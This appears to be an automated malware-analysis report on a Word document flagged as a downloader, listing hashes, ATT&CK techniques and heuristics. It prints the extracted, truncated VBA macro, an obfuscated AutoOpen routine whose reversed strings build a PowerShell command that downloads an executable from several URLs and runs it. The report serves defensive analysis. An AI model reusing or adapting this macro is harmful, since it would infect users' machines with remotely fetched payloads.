Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5dd0fb77abe9aec8…

MALICIOUS

Office (OLE)

75.0 KB Created: 2018-09-19 10:34:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 37753a5f158dfa21e0807d3ee94b13f8 SHA-1: d2645be4746e52a5b756759ff73b4705ca949f7e SHA-256: 5dd0fb77abe9aec8e4b653d69bdf93b2de9df15e9d19420f2f268d9dbc70ecd9
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro uses the 'Shell' function, indicating an attempt to execute arbitrary commands, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Downloader.00536d-6691369-0' further supports its role as a downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6691369-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6691369-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5658 bytes
SHA-256: a130d545ba04a4539275bf1f14ca4cef256a089f4aea1efe1710798368441905
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IwplAskkuqPSsw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const ntFTOGnka = 0
   Dim DEwkf(5)
DEwkf(0) = Right(jiVUBBcS, 592)
DEwkf(1) = Mid(tknvz, 312, 430)
DEwkf(2) = Left(JwzvRRb, 367)
DEwkf(3) = Right(jiVUBBcS, 592)
DEwkf(4) = Mid(tknvz, 312, 430)
   Dim ECbRiJ(4)
ECbRiJ(0) = Mid(tknvz, 312, 430)
ECbRiJ(1) = Left(JwzvRRb, 367)
ECbRiJ(2) = Mid(tknvz, 312, 430)
ECbRiJ(3) = Right(jiVUBBcS, 592)
   Dim KnkMQ(4)
KnkMQ(0) = Right(jiVUBBcS, 592)
KnkMQ(1) = Mid(tknvz, 312, 430)
KnkMQ(2) = Left(JwzvRRb, 367)
KnkMQ(3) = Right(jiVUBBcS, 592)
   Dim wjzKim(5)
wjzKim(0) = Right(jiVUBBcS, 592)
wjzKim(1) = MidB(tsXAUtAU, 460, 617)
wjzKim(2) = MidB(tsXAUtAU, 460, 617)
wjzKim(3) = Left(JwzvRRb, 367)
wjzKim(4) = Mid(tknvz, 312, 430)
Shell@ lCoGkMzdFKC + NwijRlSFsbl + HijKHCwh, ntFTOGnka
   Dim zETXiX(3)
zETXiX(0) = MidB(tsXAUtAU, 460, 617)
zETXiX(1) = Mid(tknvz, 312, 430)
zETXiX(2) = Right(jiVUBBcS, 592)
   Dim RPbGvZ(3)
RPbGvZ(0) = Mid(tknvz, 312, 430)
RPbGvZ(1) = Mid(tknvz, 312, 430)
RPbGvZ(2) = Left(JwzvRRb, 367)
End Sub


Attribute VB_Name = "LRtSDBcrCE"
Function lCoGkMzdFKC()
Dim WwLDj(2)
WwLDj(0) = MidB(tsXAUtAU, 460, 617)
WwLDj(1) = Right(jiVUBBcS, 592)
   Dim blPIG(5)
blPIG(0) = Mid(tknvz, 312, 430)
blPIG(1) = MidB(tsXAUtAU, 460, 617)
blPIG(2) = Mid(tknvz, 312, 430)
blPIG(3) = Mid(tknvz, 312, 430)
blPIG(4) = Left(JwzvRRb, 367)
iMojQ = Chr(Format(0 + 7 + 11 + 0 + 81)) + "md /V^:/" + Chr(Format(0 + 5 + 8 + 0 + 54)) + Chr(Format(0 + 2 + 3 + 0 + 29)) + "s^" + "e^t r1^W" + "^L=  ^   ^      ^ ^ ^ ^  ^ }}{" + "^h" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "^t^a" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "}^;k^aer^" + "b^;n^D^j$^ m^etI-ek" + "ovn^I;)nD^j$^ ^,d^tN$(^" + "e^li^F^d" + "^a^oln^w^oD^.rpU$^{"
Dim lrlMzI(2)
lrlMzI(0) = Mid(tknvz, 312, 430)
lrlMzI(1) = Right(jiVUBBcS, 592)
   Dim cBLdB(4)
cBLdB(0) = Mid(tknvz, 312, 430)
cBLdB(1) = Right(jiVUBBcS, 592)
cBLdB(2) = MidB(tsXAUtAU, 460, 617)
cBLdB(3) = Right(jiVUBBcS, 592)
   Dim hEmAN(2)
hEmAN(0) = Mid(tknvz, 312, 430)
hEmAN(1) = Left(JwzvRRb, 367)
   Dim GzTWT(3)
GzTWT(0) = Right(jiVUBBcS, 592)
GzTWT(1) = MidB(tsXAUtAU, 460, 617)
GzTWT(2) = Mid(tknvz, 312, 430)
   Dim tvJGk(3)
tvJGk(0) = Right(jiVUBBcS, 592)
tvJGk(1) = MidB(tsXAUtAU, 460, 617)
tvJGk(2) = Right(jiVUBBcS, 592)
koUPrUs = "^yrt{)^pO^T$ ni dtN" + "^$(h" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "a^er^of;'^e^x" + "e.^'+n^bB$^+^'^\^'+" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "il" + "^bu^p:vn^e$" + "=nDj^$^;" + "^'^88^2'^ = n^b^B^$" + "^;)'^@'(tilp^S" + ".'^iiP4A^s^87/zn^.o" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "^.q" + "rap^s//^:pt^th^@"
Dim QQViuW(4)
QQViuW(0) = MidB(tsXAUtAU, 460, 617)
QQViuW(1) = Mid(tknvz, 312, 430)
QQViuW(2) = Left(JwzvRRb, 367)
QQViuW(3) = Mid(tknvz, 312, 430)
ZbKuwfE = "k^1h^uBS^xS/^t^a" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "." + "^a^tsog^al^l" + "a^lmm^e//:^p" + "t^t^h^@^d^G^fD^2^fB^y^q" + "/^m^o" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "." + "noitruof//:^p" + "^tth@^M^6^ggqO" + "^9/d^i." + Chr(Format(0 + 7 + 11 + 0 + 81)) + "^" + "a.^ab^k^e^t^lop.in^mu^la//^:pt" + "t^h@^jurw1K"
Dim nDTJs(4)
nDTJs(0) = Left(JwzvRRb, 367)
nDTJs(1) = Left(JwzvRRb, 367)
nDTJs(2) = Mid(tknvz, 312, 430)
nDTJs(3) = MidB(tsXAUtAU, 460, 617)
dpDnY = "^K^K^l/^mo" + Chr(Format(0 + 7 + 11 + 0 + 81)) + ".ved^ar^av^.^d" + "nu^fn^o^i^t^avonn^i^larur//" + ":^p^tth'=^pOT^$^;^tn^eil" + Chr(Format(0 + 5 + 8 + 0 + 54)) + "b^e^W^.t" + "eN^ t" + Chr(Format(0 + 7 + 11 + 0 + 81)) + "^ej^b^o^-" + "wen^=rp^U^$ lle"
Dim MKtJX(2)
MKtJX(0) = Mid(tknvz, 312, 430)
MKtJX(1) = Mid(tknvz, 312, 430)
   Dim cwiJuw(4)
cwiJuw(0) = Left(JwzvRRb, 367)
cwiJuw(1) = MidB(tsXAUtAU, 460, 617)
cwiJuw(2) = Right(jiVUBBcS, 592)
cwiJuw(3) = Right(jiVUBBcS, 592)
   Dim PiSuM(2)
PiSuM(0) = MidB(tsXAUtAU, 460, 617)
PiSuM(1) = Mid(tknvz, 312, 430)
   Dim G
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.